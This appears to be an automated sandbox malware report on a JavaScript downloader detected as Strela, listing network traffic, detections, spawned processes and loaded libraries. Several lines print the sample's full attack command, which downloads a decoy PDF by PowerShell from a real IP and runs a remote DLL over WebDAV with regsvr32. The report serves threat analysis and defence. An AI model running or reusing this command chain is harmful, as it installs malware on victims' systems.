30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49861

Source: global traffic

TCP traffic: 192.168.2.7:49861 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:49941 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49845 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000002.00000003.1585389931.0000029E1B3A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1714474587.0000021026EFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1714474587.0000021026EC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1714474587.0000021026F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.1714474587.0000021026EC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/c
Source: svchost.exe, 0000000A.00000002.2865747654.000002A2AEC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1721284241.000002A2AEAB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4268, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 984279432356016169.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3944:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j4l5llm1.jtl.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,13517374794523773617,11455705467191514694,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,13517374794523773617,11455705467191514694,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
